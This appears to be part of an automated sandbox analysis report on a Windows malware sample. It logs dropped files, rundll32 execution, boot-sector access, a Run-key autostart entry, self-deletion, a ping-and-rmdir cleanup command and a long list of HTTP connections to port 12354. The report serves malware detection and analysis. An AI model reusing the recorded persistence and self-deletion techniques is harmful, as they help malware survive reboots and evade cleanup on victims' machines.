Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ygqcn.exe C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\ygqcn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\yucdh"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\yucdh"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Users\user\Desktop\XXHYneydvF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XXHYneydvF.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: c:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.T source: rundll32.exe, 00000006.00000003.3418855777.000000000569E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\. source: rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100051B0 LoadLibraryA,GetProcAddress,GetExtendedUdpTable,malloc,GetExtendedUdpTable,Sleep,htons,free,FreeLibrary,

6_2_100051B0

Source: initial sample

Static PE information: section where entry point is pointing to: GDR

Source: qtbbkpjim.dll.5.dr	Static PE information: real checksum: 0x10fa9 should be: 0xeaf9
Source: ygqcn.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x176a1
Source: XXHYneydvF.exe	Static PE information: real checksum: 0x0 should be: 0x220c0

Source: XXHYneydvF.exe	Static PE information: section name: .CG
Source: XXHYneydvF.exe	Static PE information: section name: .adata
Source: ygqcn.exe.0.dr	Static PE information: section name: .CG
Source: ygqcn.exe.0.dr	Static PE information: section name: .adata
Source: qtbbkpjim.dll.5.dr	Static PE information: section name: GDR

Source: C:\Users\user\Desktop\XXHYneydvF.exe	Code function: 0_2_0041400A push ebp; ret	0_2_0041400D
Source: C:\Users\user\Desktop\XXHYneydvF.exe	Code function: 0_2_00414014 push 00000000h; ret	0_2_00414425
Source: C:\Users\user\Desktop\XXHYneydvF.exe	Code function: 0_2_00402EE0 push eax; ret	0_2_00402F0E
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Code function: 5_2_0041400A push ebp; ret	5_2_0041400D
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Code function: 5_2_00414014 push 00000000h; ret	5_2_00414425
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Code function: 5_2_00402EE0 push eax; ret	5_2_00402F0E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10010F90 push eax; ret	6_2_10010FBE

Source: qtbbkpjim.dll.5.dr	Static PE information: section name: .text entropy: 7.9944271829324975
Source: qtbbkpjim.dll.5.dr	Static PE information: section name: .rsrc entropy: 7.3301358156247804

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA, \\.\PHYSICALDRIVE%d

6_2_1000C230

Source: C:\Users\user\Desktop\XXHYneydvF.exe	File created: C:\Users\user\AppData\Local\Temp\ygqcn.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	File created: C:\yucdh\qtbbkpjim.dll			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

File created: c:\yucdh\ReadMe.txt

Jump to behavior

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA, \\.\PHYSICALDRIVE%d

6_2_1000C230

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\SysWOW64\rundll32.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe

File deleted: c:\users\user\desktop\xxhyneydvf.exe

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50361 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50398 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50449 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50485 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50553 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50563 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50597 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50599 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50617 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50630 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50635 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50643 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50659 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50664 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50669 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50673 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50683 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50687 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50693 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50705 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50713 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50722 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50744 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50757 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50761 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50779 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50843 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50857 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50867 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50870 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50874 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50886 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50895 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50916 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50930 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50939 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50948 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50957 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50965 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50997 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51001 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51047 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51060 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51123 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51129 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51183 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51212 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51219 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51228 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51237 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51243 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51261 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51305 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51470 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51479 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51489 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51547 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51561 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51693 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51700 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51708 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51717 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51725 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51733 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51767 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51795 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51985 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52269 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52409 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52442 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52555 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54446 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54530 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54446 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54587 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55225 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55426 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55516 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55674 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55804 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55946 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56115 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57740 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58233 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58350 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58976 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59096 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59151 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59321 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59487 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59607 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59911 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60490 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60806 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61026 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61161 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61428 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61507 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61606 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61884 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61997 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62141 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62400 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63144 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64443 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64785 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64821 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49509 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49514 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49541 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50821 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51661 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51995 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52265 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52891 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52917 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53003 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53318 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53515 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54762 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54764 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54902 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55318 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55506 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55795 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55847 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56236 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57119 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57557 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58338 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58355 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58403 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58454 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58458 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58627 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60093 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60268 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61703 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61955 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64100 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64219 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49502 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51515 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51520 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52952 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53124 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54970 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55119 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56410 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56516 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58220 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58374 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60101 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61760 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61933 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63631 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63685 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49269 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49419 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51005 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53180 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53676 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53713 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55146 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55172 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57031 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57052 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58637 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58760 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60290 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61978 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61998 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63310 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63579 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64710 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64986 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52177 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53501 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55158 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55317 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56820 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56926 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59030 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59127 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60744 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62663 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63969 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64091 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49596 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51209 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51400 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53400 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53467 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55046 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55162 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56809 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56948 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57838 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57932 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59221 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59300 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61033 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61040 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62645 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62886 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64289 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64346 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49663 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51271 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51355 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53259 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53335 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55327 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55407 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58015 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58198 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58788 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58926 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61026 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61174 -> 12354
